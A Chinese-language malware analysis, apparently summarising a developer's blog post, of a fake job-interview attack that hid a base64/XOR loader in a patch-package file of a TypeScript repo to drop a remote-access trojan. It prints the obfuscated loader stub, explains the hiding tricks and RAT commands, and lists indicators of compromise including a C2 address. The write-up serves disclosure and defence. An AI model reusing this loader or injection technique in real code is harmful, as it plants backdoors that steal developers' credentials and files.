一次失败的(民族国家?)攻击的剖析
阅读原文· grack.com这是一次近乎完美的开发者定向攻击复盘,虚假面试加上精心构造的补丁注入 RAT,手法隐蔽到连作者都差点中招,所有靠开源吃饭的人都该认真看看 Ioc 并重新审视自己的代码审查盲区。
作者收到伪装成新加坡VC Lua Ventures的虚假面试邮件,要求完成一个TypeScript仓库的“测试”。作者将仓库交给Claude扫描,在typescript+5.9.2.patch中发现base64混淆载荷,该载荷在patch-package安装时触发,向~/.cache-等目录写入payload.js和mutex.js,构成后门(命名PinpinRAT)。攻击者使用虚构身份和空洞LinkedIn资料,目标是作者在crates.io上的Rust包。相关信息已报告加拿大CCCS等机构。
披露声明
🧠 本文完全由人类撰写:除 IoC(入侵指标)信息外,所有文字均出自人手。由于时间紧迫,借助 Claude 加速了 RAT 分析并构建了 IoC 检测脚本。
我居住在加拿大,因此已将此事报告给相应的加拿大机构(CCCS 等)。携带载荷的图片在 VirusTotal 上未触发任何杀毒引擎。
攻击者的身份是虚构的,但存在同名且与此事无关的个人,他们可能被误认,故本文中已隐去该姓名。
在 Reddit 上,Rust 社区中还有几位用户提到他们也成为了攻击目标。
本周,我险些遭遇一场伪装成面试的诈骗,旨在给我的计算机植入后门。从邮件上下文判断,我推测目标是我在 crates.io 上的软件包。
注:我将其命名为“PinpinRAT”,因为内部字符串中含有该名称,但可能它还有其他名字。我在网上未找到任何其他相关引用。
一周半前,我收到一封来自“D█████ S████”的邮件,自称来自 Lua Ventures——一家我当时并不知已倒闭的新加坡 DeFi 领域风投公司。需要澄清的是:这是一个伪造的身份,该姓名很可能故意选择得与多位真实人物容易混淆。
这封邮件看起来像真邮件,内含一个链接,指向一个略显平淡但看起来真实的 LinkedIn 个人资料。
攻击者甚至还提到了他们的两项投资,这两家公司当时正在寻求顾问服务:Lyrasing 和 Roadpay。搜索这两家公司并未发现明显异常——它们都有一些非常基础的网络存在,但没有任何迹象表明它们是假的,而非仅仅是早期阶段公司。(archive.org 上 roadpay.cc 的快照)。
我们就会议时间来回沟通,最终确定了通话时间。通话本身也并无异常。电话另一端是一位带有德国口音、讲话有些难以理解的男士。他说自己是在旅行途中接听电话,这有点奇怪,但同样不一定是可疑信号。
通话结束后,诱饵来了。一封后续邮件提供了一份“测试”。
到这一步,我只是有点烦,但还没起疑心。我把仓库克隆下来,但真正让我觉得不对劲的第一个信号,是到这里才出现的。
我走运的地方在于:他们发给我的是一个 TypeScript 仓库。我总觉得哪里不对劲。这份说明看起来更像是一份 TypeScript 的面试题,而不是什么架构分析。我决定把这个仓库打个包,扔给 Claude 快速扫描一下——一半是出于谨慎,一半是出于偷懒。
没过多久,它就识别出了一些异常:
值得注意的是,根目录下的 package.json 没有 postinstall/preinstall 钩子——这很有意思,因为他们用了 patch-package,而 patch-package 通常会挂载到 postinstall 上。让我检查一下每个 package.json 里的生命周期脚本,然后审计一下 patch 文件(真正的风险面——patch 可以在 node_modules 中注入任意代码)。
这引起了我的兴趣。我亲自扫描了目录,发现 patches/ 目录的数量多得有点不合理。我检查的前几个 patch 看起来人畜无害,但你可能也猜到了,它们只是想制造噪声,好让真正的恶意负载不被发现。
packages/electron-benchmarks/patches/sumchecker+3.0.1.patch
packages/electron-benchmarks/patches/@electron+get+2.0.3.patch
packages/electron-benchmarks/patches/extract-zip+2.0.1.patch
在我手动慢慢检查的时候,Claude 识别出了 PinpinRAT 的初步迹象:
我找到了。这是一个恶意负载。它被嵌入在 typescript+5.9.2.patch 文件中——在同一个被伪装成 TypeScript 常规“模块说明符”补丁的内容里——有一段 base64 编码的 blob 自执行混淆存根,被注入到了 _tsc.js 和 typescript.js 这两个文件的最开头:
;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})("YWFg...",73)/*12ff4b51*/ void "ticket-harbor-tsc-shim-anchor";
这段代码解码一个 base64 字符串,用密钥 73 对每个字节进行 XOR 解密,然后通过 new Function(…) 执行结果,并传入 require、process、Buffer 等参数。这是一个隐藏的代码执行负载,每次运行 tsc 或任何导入 typescript.js 的代码时都会触发——也就是说,在第一次执行 npm run typecheck / build / dev 的时候就会触发。
……到这一步,我决定不在自己的机器上继续捅这个马蜂窝了。我把仓库用一个密码压缩起来,防止自己不小心引爆它,然后继续在沙盒环境中进行分析。
陷阱
这个仓库的主题是一个名为“Ticket Harbor”的轮渡票务应用。捆绑包里的 task.txt 文件列出的是一堆看似合理的无聊任务,但它的结尾是:
在提交前运行仓库的类型检查、测试套件以及相关的桌面/服务器构建命令。
那条指令就是让你中招的陷阱。
整条攻击链是这样的:
-
四个独立的 postinstall 钩子会运行 patch-package。但其中一个钩子还会对补丁文件执行 `git update-index --skip-worktree`,从而将它们隐藏起来不让 `git status` 发现。
-
`typescript+5.9.2.patch` 在 `typescript.js` 和 `_tsc.js` 的顶部注入了一个自执行桩。这是一个轻度混淆的代码块,被送入 `new Function(...)`(大概是避免使用 `eval` 以规避恶意软件检测)。
-
该加载器读取一个隐藏在名为 `operators/3.png` 文件末尾的块,运行一个嵌入的小型 WASM 桩(位于一个自定义的 `wAsm` 块中),然后生成一个分离的、静默的 Node 进程,该进程携带一个 1.68 MB 的混淆二级有效载荷。
-
它在三个层面进行自我清理:`git skip-worktree` 技巧、释放器在首次运行后重写补丁以删除自身注入的行,以及二级临时目录在执行时自删除。
实际的有效载荷是一个 RAT(远程访问木马)。我原本担心这是凭证窃取器,但实际上要糟糕得多。PinpinRAT 嵌套在三个混淆层中,解包过程很痛苦:obfuscator.io(自称有 LLM 防护功能,呵),以及另外两个 base64 层。
它释放了什么
为了 1) 快速分享这些信息 2) 避免意外在自己的机器上引爆恶意软件,我让 Claude 在其沙箱中拆解了实际的木马,并让它向我描述。
需要明确说明:Claude 在大约 5 分钟的工作中就逆向工程了多层混淆,这比我本人快得多。
释放的是一个完整的远程访问木马,看起来是由一个懂行的人拼凑出来的。它在本地设置了一个 RSA 密钥,并使用 AES-256-CBC 作为会话密钥。
启动时,它调用一个签到例程,收集并外传主机指纹:
- 主 IP 地址(枚举所有非内部接口),以及所有 IP
- 用户名 (`os.userInfo().username`)
- 主机名
- 操作系统类型 + 版本 + 平台 + 架构
- 进程 PID 和完整的 `process.argv`
- Node 版本
它会生成一个 RSA-2048 密钥对和一个随机的 AES-256 会话密钥(aes_psk),之后所有后续流量都会使用 AES-256-CBC 加密,并附带 HMAC-SHA256 完整性标签。
它支持以下命令:
- env — 将 JSON.stringify(process.env) 转储并发送回来。
- upload — 读取任意文件路径并窃取该文件。
- download — 将攻击者提供的字节写入任何可写路径。
- spawn — 运行任意进程,并可选启用 shell 扩展。
- ls / cd / pwd / cp / mv — 通用文件系统原语。
- dns — 使主机通过指定解析器解析任意名称(用于 DNS 隧道?)。
- dismantle — 自我删除。
入侵指征
如果你不慎运行了其中某个脚本,应立即将系统从网络中断开,并在另一台机器上轮换你的凭据。清除工作应较为直接,但请认为你的凭据(包括 Cookie 和受密码保护的密钥)已经泄露。
以下是在 PinpinRAT 恶意软件中发现的一些入侵指征:
- C2:89.124.107.161:80
- 计划任务(Windows):PinpinWrappedJs
- 进程伪装(macOS):com.apple.WebKit.Networking
- 环境变量:NODT_PAYLOAD_PATH、NODT_PAYLOAD_ARGS
- PNG 块防护:WASMPACK (wAsm)
- PINPIN_NO_AUTOSTART=1:阻止持久化
- 带有 mutex.js 的 cron 任务(仅当 RAT 具有权限时才存在,macOS 上可能没有)
- typescript.js 中的锚字符串:12ff4b51、ticket-harbor-tsc-shim-anchor
- 包含负载的 typescript+5.9.2.patch
- Artifact dirs:
~/Library/Caches/runtime-cache/.cache-<randomhex>/(macOS),/tmp/.cache-<randomhex>/(Linux),%TEMP%\.cache-<randomhex>\(Windows)- .. 其中包含 payload.js 和 mutex.js
我本应更早发现的警示信号
有几个地方我本应更早看出警示信号。这场攻击活动的目标是让这些信号足够隐晦,不至于触发你的防御机制,但你需要保持足够的警觉,以便在足够多的黄色警示信号堆积成红色警示信号时及时发现。
仔细看的话,这些消息带有一些大语言模型的痕迹。这可能是一个信号,表明你应该对任何内容都持有极度怀疑的态度。
那个 LinkedIn 个人资料乍一看像是真的,但里面全是胡言乱语(“BSc(Hons), MA (Dist), PGDipFM, CEng”?),至少应该触发某种沙拉感。没有任何真实的活动痕迹。
他们网站上的社交媒体链接确实有一段真实历史,但名字在2025年11月更改过。所有帖子内容空洞,都是对某些公司含糊其辞的赞扬,而这些公司本身没有任何具体描述。
那些拥有网站的公司,除了光鲜的页面之外,根本没有任何真实实体存在。
他们从未发送过正式的邀请——只给了一个时间和一个Google Meet链接。哪家风投不用日历?他们全程摄像头关闭,还声称自己“在出差”。
还有整体策略:一家总部设在新加坡的风投基金,按中欧夏令时运营,联系一位加拿大的开发者,域名瞄准美国客户却以.cc结尾。要核查一个如此遥远的机构的资质,难度要大得多。
事后看来,没有任何事是显而易见的,但如果你把整件事连起来看,缺失的拼图就在那里。
那么,这到底是谁?
无法确定,但这次攻击目标明确,有相当令人信服的假身份和伪装故事,多个伪造网站利用盗用的历史记录,而且时间线耐心布局。那个Git陷阱相当复杂。这种“虚假面试骗局”在2026年已成为多个攻击者的惯用套路。
幕后黑手究竟是谁,现在该由相关部门来负责追查了。值得注意的一点是,这次攻击的目标是你我这样的开发者,而我足够幸运,在触发陷阱之前就看到了一个危险信号。
老实说,最让我感到恐惧和清醒的是:如果那是一个搭载了恶意 build.rs 脚本的 Rust 仓库,我可能已经上当了。